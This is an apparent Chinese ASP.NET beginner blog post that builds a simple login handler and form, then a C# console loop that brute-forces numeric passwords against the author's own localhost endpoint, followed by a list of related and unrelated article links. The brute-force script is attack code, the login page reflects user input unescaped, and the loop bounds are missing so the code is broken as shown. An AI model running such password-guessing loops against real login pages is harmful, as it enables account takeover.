首先写出一段登陆程序:

//ashx端
<%@ WebHandler Language="C#" Class="AddCalation" %> using System;
using System.Web; public class AddCalation : IHttpHandler { public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/html"; string ispostback=context.Request["isback"];
string username = context.Request["username"];
string password = context.Request["password"];
if (ispostback == "yes")
{
if (username == "admin" && password == "")
{
context.Response.Write("登陆成功");
}
else
{
context.Response.Write("登陆失败");
} }
else
{
username = string.Empty;
password = string.Empty;
}
string path = context.Server.MapPath("AddCalation.html");
string content = System.IO.File.ReadAllText(path);
content=content.Replace("@user",username);
content = content.Replace("@pass", password);
context.Response.Write(content);
} public bool IsReusable {
get {
return false;
}
}
} //html端
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>加法计算器</title>
</head>
<body>
<form action="AddCalation.ashx">
<input type="hidden"value="yes"name="isback" />
<label for="user">用户名</label>
<input type="text" id="user" value="@user"name="username" />
<br />
<label for="pass">密码</label>
<input type="password" id="pass"value="@pass" name="password" />
<br /><input type="submit" value="登陆" />
</form>
</body>
</html>

然后写一段C#控制台程序进行暴力破解

 using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks; namespace PasswordBreak
{
class Program
{
static void Main(string[] args)
{
WebClient wc = new WebClient();
wc.Encoding = Encoding.UTF8;
string s="";
for (int i = ; i < ; i++)
{
s = wc.DownloadString("http://localhost:41566/AddCalation.ashx?isback=yes&username=admin&password=" + i);
if (s.Contains("登陆成功"))
{ Console.WriteLine(i); break; }
}
Console.WriteLine();
Console.Write(s);
Console.ReadKey();
}
}
}

通过循环依次试验密码来破解自己写的登陆代码中的密码

所以说登陆端口的安全性非常重要。

ASP.NET基础学习(暴力破解密码)的更多相关文章

  1. python 暴力破解密码脚本

    python 暴力破解密码脚本 以下,仅为个人测试代码,环境也是测试环境,暴力破解原理都是一样的, 假设要暴力破解登陆网站www.a.com 用户 testUser的密码, 首先,该网站登陆的验证要支 ...

  2. 教你用免费的hihttps开源WEB应用防火墙阻止暴力破解密码

    教你用免费的hihttps开源WEB应用防火墙阻止暴力破解密码 很多企业都有自己的网站,需要用户登录后才能访问,但有大量的黑客攻击软件可以暴力破解网站密码,即使破解不了也非常恶心.有没有免费的解决办法 ...

  3. pikachu学习-暴力破解模块

    安装好XAMPP,burpsuite,配置好pikachu我们就可以进行pikachu平台的漏洞学习 我这篇博客主要写暴力破解模块讲解,它分为4个小模块,分别是“基于表单的暴力破解”,“验证码绕过(o ...

  4. C#.NET 大型企业信息化系统集成快速开发平台 4.2 版本 - 防止暴力破解密码、提高大型信息系统安全

    几十万人使用的系统.覆盖全国.每天营业额上好几个亿的.若信息安全方面太薄弱了.那将会是致命的打击.甚至威胁到企业的正常运转.从国家层面到企业级别大家都在重视信息的安全.可控. 运行速度慢一点点可以忍受 ...

  5. Windows Server 2016 服务器总是有暴力破解密码导致的审核失败

    最近看了一下公司服务器的日志,在安全里,总是有审核失败,特别烦人,尝试密码特别弱智,总是用Administrator做用户名,不停的变换密码,真的烦,用户里面根本就没有Administrator,早就 ...

  6. CUDA—使用GPU暴力破解密码

    GPU支持大规模的并行加速运算,胜在量上,CPU处理大量的并行运算显得力不从心,它是胜在逻辑上.利用显卡加速的应用越来越多,但如果说GPU即将或最终将替代CPU还有点言过其实,二者最终将优势互补,各尽 ...

  7. L inux系统安全及应用---暴力破解密码

    系统安全及应用一.开关机安全控制① 调整BIOS引导设置② GRUB限制二.终端登录安全控制① 限制root只在安全终端登录② 禁止普通用户登录举例三.系统弱口令检测① Joth the Ripper ...

  8. 用python 编写redis 暴力破解密码的程序

    本文摘自http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/ import redisimport l ...

  9. 黑马MySQL数据库学习day01 MySQL8和MySQL5.5暴力破解密码

随机推荐

  1. 100. Remove Duplicates from Sorted Array && 101. Remove Duplicates from Sorted Array II [easy]

    这两题类似,所以放在一起,先看第一题: Description Given a sorted array, remove the duplicates in place such that each ...

  2. 讯飞云 API 语音听写 python3 调用例程

    #!/usr/bin/python3 # -*- coding: UTF-8 -*- import requests import time import gzip import urllib imp ...

  3. 初步了解CUDA(零)

    初步了解CUDA,从历史开始,先不开发:

  4. solidity 十六进制字符串转十六进制bytes

    pragma solidity ^0.4.16; contract Metadata { // 十六进制字符串转换成bytes function hexStr2bytes(string data)re ...

  5. Python3 数据类型-字典

    字典是一种可变数据类型,且可存储任意类型对象. 字典使用大括号"{}"括起来,由键(key)和值(values)组成,键只能使用不可变类型定义,值可以使用可变类型{'键':'值'} ...

  6. vue开发学习中遇到的问题以及解决方法

    1:node-sass 安装失败,可使用 cnpm 安装 npm install cnpm -g --registry=https://registry.npm.taobao.org cnpm -v ...

  7. USACO 1.1.3 Friday the Thirteenth 黑色星期五

    Description 13号又是一个星期5.13号在星期五比在其他日子少吗?为了回答这个问题,写一个程序,要求计算每个月的十三号落在周一到周日的次数.给出N年的一个周期,要求计算1900年1月1日至 ...

  8. BluetoothAdapter解析

    这篇文章将会详细解析BluetoothAdapter的详细api, 包括隐藏方法, 每个常量含义. 一 BluetoothAdapter简介 1.继承关系 该类仅继承了Object类; 2.该类作用 ...

  9. C++读取文件统计单词个数及频率

    1.Github链接 GitHub链接地址https://github.com/Zzwenm/PersonProject-C2 2.PSP表格 PSP2.1 Personal Software Pro ...

  10. week1技术随笔

    2016-09-06 2016年9月3日 类别c 内容c 开始时间s 结束时间e 被打断时间I 总计(min) 读书 读构建之法  8:40  10:00  11  69 读书 构建之法-个人能力 , ...